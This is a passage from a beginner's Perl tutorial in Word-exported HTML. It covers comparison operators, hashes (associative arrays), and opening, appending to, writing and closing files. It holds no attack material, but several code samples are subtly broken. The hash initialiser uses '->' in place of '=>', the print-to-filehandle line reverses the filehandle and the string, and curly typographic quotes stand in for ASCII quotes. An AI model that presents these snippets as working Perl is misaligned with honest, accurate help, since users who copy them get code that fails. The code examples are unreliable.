<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: windowtext 1pt solid; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Numbers<span style="mso-tab-count: 1;">       </span></span></strong></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: windowtext 1pt solid; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">String</span></strong></p>
</td>
</tr>
<tr style="mso-yfti-irow: 1;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Less than</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&lt; </span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">lt</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 2;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Greater than</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&gt; </span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">gt</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 3;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Less than equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&lt;=</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">le</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 4;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; background: white; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Greater than equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; background: white; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&gt;=</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; background: white; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">ge</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 5;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">==</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">eq</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 6;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Not equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">!=</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">ne</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 7; mso-yfti-lastrow: yes;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">compare</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&lt;=&gt;</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">cmp</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220666"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Hash/Associative Array</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold; mso-bidi-font-family: Arial;">Hash or associative array</span></span><span style="text-decoration: underline;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">designated<span style="color: black;"> by %</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">Hashes contain data in pairs called <strong style="mso-bidi-font-weight: normal;">KEY</strong> and associated <strong style="mso-bidi-font-weight: normal;">VALUE</strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">%names = (‘somali’,’444’,’arundhati’,’631’)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">Or </span></strong></p>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">% names = (somali<span style="mso-spacerun: yes;">         </span>-&gt; ‘444’,</span></span></pre>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;"><span style="mso-tab-count: 1;">     </span><span style="mso-spacerun: yes;">          </span><span style="mso-tab-count: 1;">  </span><span style="mso-spacerun: yes;">   </span>arundhati<span style="mso-spacerun: yes;">     </span>-&gt; '631')</span></span></pre>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">Or</span></span></strong></pre>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">my( %names);</span></span></pre>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">$names{ &lt;key&gt; } = &lt;value&gt;</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Print a hash</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print “@{[% names]}”</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220667"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Write and Close file</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Open a file in write mode. Here if the file does not exist, the file will be created. If it exists, the file will be overwritten.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">open (&lt;File identifier&gt;,&#8221;<strong style="mso-bidi-font-weight: normal;">&gt;</strong>&#8220;,&#8221;&lt;file&gt;&#8221;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;open failed:<span style="mso-spacerun: yes;">  </span>$!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">File Identifier</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> – After opening the file, the file will be referenced with the file identifier.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Symbol</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> ‘<strong style="mso-bidi-font-weight: normal;">&gt;</strong>’ – open a file in write mode</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">die</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> &#8211; If open of the file failed, the program will display the error message and abort</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">To append data into an existing file, the file needs to be opened in append mode.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">open (&lt;File identifier&gt;,&#8221;<strong style="mso-bidi-font-weight: normal;">&gt;&gt;</strong>&#8220;,&#8221;&lt;file&gt;&#8221;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;open failed:<span style="mso-spacerun: yes;">  </span>$!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Symbol</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> ‘<strong style="mso-bidi-font-weight: normal;">&gt;&gt;</strong>’ – open a file in append mode</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">To write to a file, write access to the file should be given. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">print “$var\n” &lt;File identifier&gt;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Close the file</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">close (&lt;File identifier&gt;)<span style="mso-spacerun: yes;">   </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;close failed: $!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; mso-outline-level: 1;"><a name="_Toc220220668"></a><a name="_Toc168744005"></a><a name="_Toc168743902"><span style="mso-bookmark: _Toc168744005;"><span style="mso-bookmark: _Toc220220668;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Notes</span></span></strong></span></span></a><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">There are many free Perl software are available on internet. Also you can use the UNIX command prompt just like unix scripts by using command </span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">“#!/usr/bin/perl”</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> in script.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.75in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 11.25pt 10pt 1in;"><strong><span style="font-size: 10pt; color: #000066; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Reference(s)</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">http://docstore.mik.ua/orelly/perl/prog/ch01_05.htm </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">http://perldoc.perl.org/perlop.html</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">www.perl.com</span></p>
